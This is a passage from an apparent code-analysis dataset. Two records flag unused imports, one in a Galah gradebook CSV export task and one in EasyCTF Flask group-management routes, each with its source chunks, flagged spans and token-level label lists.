ucrcsedept/galah/galah/sisyphus/tasks/create_gradebook_csv.py
[ { "content": "import shutil\nimport subprocess\nimport os\nimport datetime\nimport os.path\nfrom bson import ObjectId\n\nfrom galah.db.models import Assignment, Class, CSV, Submission, TestResult, User\n\ntry:\n from collections import OrderedDict\nexcept ImportError:\n from ordereddict import OrderedDict\n\n# Set up configuration and logging\nfrom galah.base.config import load_config\nconfig = load_config(\"sisyphus\")\n\nimport logging\nlogger = logging.getLogger(\"galah.sisyphus.create_gradebook_csv\")\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def _create_gradebook_csv(csv_id, requester, class_id, fill=0):\n csv_id = ObjectId(csv_id)\n\n csv_file = temp_directory = \"\"\n\n # Find any expired archives and remove them\n deleted_files = []\n for i in CSV.objects(expires__lt = datetime.datetime.today()):\n deleted_files.append(i.file_location)\n\n if i.file_location:\n try:\n os.remove(i.file_location)\n except OSError as e:\n logger.warning(\n \"Could not remove expired csv file at %s: %s.\",\n i.file_location, str(e)\n )\n\n i.delete()\n\n if deleted_files:\n logger.info(\"Deleted csv files %s.\", str(deleted_files))\n\n # This is the CSV object that will be added to the database\n new_csv = CSV(\n id = csv_id,\n requester = requester\n )\n\n temp_directory = csv_file = None\n try:\n # Create the actual csv file.\n csv_file = open(os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id)), \"w\")\n\n the_class = Class.objects.get(id = ObjectId(class_id))\n\n # Grab all assignments in this class\n assns = list(\n Assignment.objects(for_class = the_class.id)\n )\n\n print >> csv_file, \"%s,%s\" % \\\n (\"Username\", \",\".join('\"{0}\"'.format(i.name) for i in assns))\n\n # Grab all student users for this class.\n users = list(\n User.objects(\n account_type = \"student\",\n classes = the_class.id\n )\n )\n\n assn_ids = [i.id for i in assns]\n for user in users:\n # Query for user's most recent submissions in the known assignments\n query = {\n \"assignment__in\": assn_ids,\n \"most_recent\": True,\n \"user\": user.id\n }\n\n submissions = list(Submission.objects(**query))\n\n # Initialize each assignment score to empty at first.\n assn_to_score = OrderedDict((i, str(fill)) for i in assn_ids)\n\n # Go through submissions, associating scores with assignment\n for sub in submissions:\n if sub.test_results:\n test_result = TestResult.objects.get(id = sub.test_results)\n if test_result.score is not None:\n assn_to_score[sub.assignment] = str(test_result.score)\n\n # Write gradebook results to csv file.\n print >> csv_file, \"%s,%s\" % \\\n (user.email, \",\".join(assn_to_score.values()))\n\n csv_file.close()\n\n new_csv.file_location = os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id))\n\n new_csv.expires = \\\n datetime.datetime.today() + config[\"TEACHER_CSV_LIFETIME\"]\n\n new_csv.save(force_insert = True)\n except Exception as e:\n new_csv.file_location = None\n os.remove(os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id)))\n\n new_csv.error_string = str(e)\n new_csv.save(force_insert = True)\n\n raise", "metadata": "root._create_gradebook_csv", "header": "['module', '___EOS___']", "index": 21 } ]
[ { "span": "import shutil", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 13 }, { "span": "import subprocess", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 17 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bson_", "import_", "Object", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "gal", "ah", "_", "._", "db_", "._", "models_", "import_", "Assignment_", ",_", "Class_", ",_", "CSV_", ",_", "Submission_", ",_", "Test", "Result_", ",_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "collections_", "import_", "Order", "ed", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "order", "eddi", "ct_", "import_", "Order", "ed", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "configura", "tion", " ", "and", " ", "logging_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "gal", "ah", "_", "._", "base_", "._", "config_", "import_", "load", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "=_", "load", "\\u", "config_", "(_", "\"", "sis", "yp", "hus", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "gal", "ah", ".", "sis", "yp", "hus", ".", "create", "\\u", "gradebook", "\\u", "csv", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "create", "\\u", "gradebook", "\\u", "csv_", "(_", "csv", "\\u", "id_", ",_", "requester_", ",_", "class", "\\u", "id_", ",_", "fill_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csv", "\\u", "id_", "=_", "Object", "Id_", "(_", "csv", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "csv", "\\u", "file_", "=_", "temp", "\\u", "directory_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fin", "d", " ", "any", " ", "expir", "ed", " ", "archives", " ", "and", " ", "remove", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "delete", "d\\u", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "CSV_", "._", "objects_", "(_", "expir", "es", "\\u\\u", "lt_", "=_", "datetime_", "._", "datetime_", "._", "today_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delete", "d\\u", "files_", "._", "append_", "(_", "i_", "._", "file", "\\u", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "i_", "._", "file", "\\u", "location_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "i_", "._", "file", "\\u", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cou", "ld", " ", "not", " ", "remove", " ", "expir", "ed", " ", "csv", " ", "file", " ", "at", " ", "%", "s", ":", " ", "%", "s", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "i_", "._", "file", "\\u", "location_", ",_", "str_", "(_", "e_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "delete", "d\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "\"", "Delete", "d", " ", "csv", " ", "files", " ", "%", "s", ".\"_", ",_", "str_", "(_", "delete", "d\\u", "files_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "the", " ", "CSV", " ", "object", " ", "tha", "t", " ", "will", " ", "be", " ", "adde", "d", " ", "to", " ", "the", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "csv_", "=_", "CSV_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "csv", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "requester_", "=_", "requester_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "temp", "\\u", "directory_", "=_", "csv", "\\u", "file_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "the", " ", "actual", " ", "csv", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csv", "\\u", "file_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "config_", "[_", "\"", "CSV", "\\u", "DIRECT", "ORY", "\"_", "]_", ",_", "str_", "(_", "csv", "\\u", "id_", ")_", ")_", ",_", "\"", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "the", "\\u", "class_", "=_", "Class_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "Object", "Id_", "(_", "class", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Grab", " ", "all", " ", "assign", "ment", "s", " ", "in", " ", "this", " ", "class_", "\\u\\u\\uNL\\u\\u\\u_", "ass", "ns_", "=_", "list_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Assignment_", "._", "objects_", "(_", "for", "\\u", "class_", "=_", "the", "\\u", "class_", "._", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", ">>_", "csv", "\\u", "file_", ",_", "\"%", "s", ",%", "s", "\"_", "%_", "(_", "\"", "User", "name", "\"_", ",_", "\",\"_", "._", "join_", "(_", "'\"{", "0", "}\"'_", "._", "format_", "(_", "i_", "._", "name_", ")_", "for_", "i_", "in_", "ass", "ns_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Grab", " ", "all", " ", "student", " ", "users", " ", "for", " ", "this", " ", "class", "._", "\\u\\u\\uNL\\u\\u\\u_", "users_", "=_", "list_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "User_", "._", "objects_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "account", "\\u", "type_", "=_", "\"", "student", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "classes_", "=_", "the", "\\u", "class_", "._", "id_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ass", "n", "\\u", "ids_", "=_", "[_", "i_", "._", "id_", "for_", "i_", "in_", "ass", "ns_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "user_", "in_", "users_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Query", " ", "for", " ", "user", "'", "s", " ", "most", " ", "recent", " ", "subm", "ission", "s", " ", "in", " ", "the", " ", "know", "n", " ", "assignments_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "assign", "ment", "\\u\\u", "in", "\"_", ":_", "ass", "n", "\\u", "ids_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "most", "\\u", "recent", "\"_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "user", "\"_", ":_", "user_", "._", "id_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "submissions_", "=_", "list_", "(_", "Submission_", "._", "objects_", "(_", "**_", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "each", " ", "assign", "ment", " ", "score", " ", "to", " ", "empty", " ", "at", " ", "first", "._", "\\u\\u\\uNL\\u\\u\\u_", "ass", "n", "\\u", "to", "\\u", "score_", "=_", "Order", "ed", "Dict_", "(_", "(_", "i_", ",_", "str_", "(_", "fill_", ")_", ")_", "for_", "i_", "in_", "ass", "n", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Go", " ", "through", " ", "subm", "ission", "s", ",", " ", "associ", "ati", "ng", " ", "score", "s", " ", "with", " ", "assignment_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "sub_", "in_", "submissions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sub_", "._", "test\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "test\\u", "result_", "=_", "Test", "Result_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "sub_", "._", "test\\u", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "test\\u", "result_", "._", "score_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "ass", "n", "\\u", "to", "\\u", "score_", "[_", "sub_", "._", "assignment_", "]_", "=_", "str_", "(_", "test\\u", "result_", "._", "score_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Write", " ", "gradebook", " ", "results", " ", "to", " ", "csv", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", ">>_", "csv", "\\u", "file_", ",_", "\"%", "s", ",%", "s", "\"_", "%_", "(_", "user_", "._", "email_", ",_", "\",\"_", "._", "join_", "(_", "ass", "n", "\\u", "to", "\\u", "score_", "._", "values_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "csv", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "file", "\\u", "location_", "=_", "os_", "._", "path_", "._", "join_", "(_", "config_", "[_", "\"", "CSV", "\\u", "DIRECT", "ORY", "\"_", "]_", ",_", "str_", "(_", "csv", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "expires_", "=_", "datetime_", "._", "datetime_", "._", "today_", "(_", ")_", "+_", "config_", "[_", "\"", "TE", "ACH", "ER", "\\u", "CSV", "\\u", "LIF", "ETI", "ME", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "save_", "(_", "force", "\\u", "insert_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "csv_", "._", "file", "\\u", "location_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "remove_", "(_", "os_", "._", "path_", "._", "join_", "(_", "config_", "[_", "\"", "CSV", "\\u", "DIRECT", "ORY", "\"_", "]_", ",_", "str_", "(_", "csv", "\\u", "id_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "csv_", "._", "error", "\\u", "string_", "=_", "str_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "csv_", "._", "save_", "(_", "force", "\\u", "insert_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
EasyCTF/easyctf-2015/api/api/routes/group.py
[ { "content": "from flask import request, session\nfrom flask import Blueprint\n\nimport api\nimport json\nimport mimetypes\nimport os.path\nimport api.auth\n\nimport api.cache\n\nimport api.stats\n\nimport asyncio\nimport threading\n\nfrom api.annotations import *\nfrom api.common import flat_multi\nfrom api.exceptions import *\n\nblueprint = Blueprint(\"group_api\", __name__)\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@blueprint.route(\"/list\", methods=[\"GET\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef get_group_list_hook():\n\treturn { \"success\": 1, \"data\": api.group.get_groups() }", "metadata": "root.get_group_list_hook", "header": "['module', '___EOS___']", "index": 22 }, { "content": "@blueprint.route(\"/create\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef create_group_hook():\n\tgid = api.group.create_group_request(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Successfully created class! Reloading...\" }", "metadata": "root.create_group_hook", "header": "['module', '___EOS___']", "index": 29 }, { "content": "@blueprint.route(\"/delete\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef delete_group_hook():\n\tapi.group.delete_group_request(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Group was deleted. Reloading...\" }", "metadata": "root.delete_group_hook", "header": "['module', '___EOS___']", "index": 37 }, { "content": "@blueprint.route(\"/add_team\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef add_team_group_hook():\n\tapi.group.add_member(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Successfully added team! Reloading...\" }", "metadata": "root.add_team_group_hook", "header": "['module', '___EOS___']", "index": 45 }, { "content": "@blueprint.route(\"/remove_team\", methods=[\"POST\"])\n@api_wrapper\n@require_login\n@require_teacher\ndef remove_team_group_hook():\n\tapi.group.remove_member(api.common.flat_multi(request.form))\n\treturn { \"success\": 1, \"message\": \"Successfully removed team! Reloading...\" }", "metadata": "root.remove_team_group_hook", "header": "['module', '___EOS___']", "index": 53 } ]
[ { "span": "from flask import request, session", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 34 }, { "span": "import json", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 11 }, { "span": "import mimetypes", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 16 }, { "span": "import os.path", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 14 }, { "span": "import asyncio", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 14 }, { "span": "import threading", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 16 }, { "span": "from api.common import flat_multi", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 33 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "flask_", "import_", "request_", ",_", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "import_", "Blueprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mimetypes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "api_", "._", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "api_", "._", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "api_", "._", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "asyncio_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "api_", "._", "annotations_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "api_", "._", "common_", "import_", "flat", "\\u", "multi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "api_", "._", "exceptions_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "blueprint_", "=_", "Blueprint_", "(_", "\"", "group", "\\u", "api", "\"_", ",_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "blueprint_", "._", "route_", "(_", "\"/", "list", "\"_", ",_", "methods_", "=_", "[_", "\"", "GET", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "api", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "teacher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "group", "\\u", "list", "\\u", "hook_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "{_", "\"", "success", "\"_", ":_", "1_", ",_", "\"", "data", "\"_", ":_", "api_", "._", "group_", "._", "get", "\\u", "groups_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "blueprint_", "._", "route_", "(_", "\"/", "create", "\"_", ",_", "methods_", "=_", "[_", "\"", "POST", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "api", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "teacher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create", "\\u", "group", "\\u", "hook_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "gid_", "=_", "api_", "._", "group_", "._", "create", "\\u", "group", "\\u", "request_", "(_", "api_", "._", "common_", "._", "flat", "\\u", "multi_", "(_", "request_", "._", "form_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "\"", "success", "\"_", ":_", "1_", ",_", "\"", "message", "\"_", ":_", "\"", "Success", "full", "y", " ", "created", " ", "class", "!", " ", "Relo", "ading", "...\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "blueprint_", "._", "route_", "(_", "\"/", "delete", "\"_", ",_", "methods_", "=_", "[_", "\"", "POST", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "api", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "teacher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "delete", "\\u", "group", "\\u", "hook_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "api_", "._", "group_", "._", "delete", "\\u", "group", "\\u", "request_", "(_", "api_", "._", "common_", "._", "flat", "\\u", "multi_", "(_", "request_", "._", "form_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "\"", "success", "\"_", ":_", "1_", ",_", "\"", "message", "\"_", ":_", "\"", "Group", " ", "was", " ", "delete", "d", ".", " ", "Relo", "ading", "...\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "blueprint_", "._", "route_", "(_", "\"/", "add", "\\u", "team", "\"_", ",_", "methods_", "=_", "[_", "\"", "POST", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "api", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 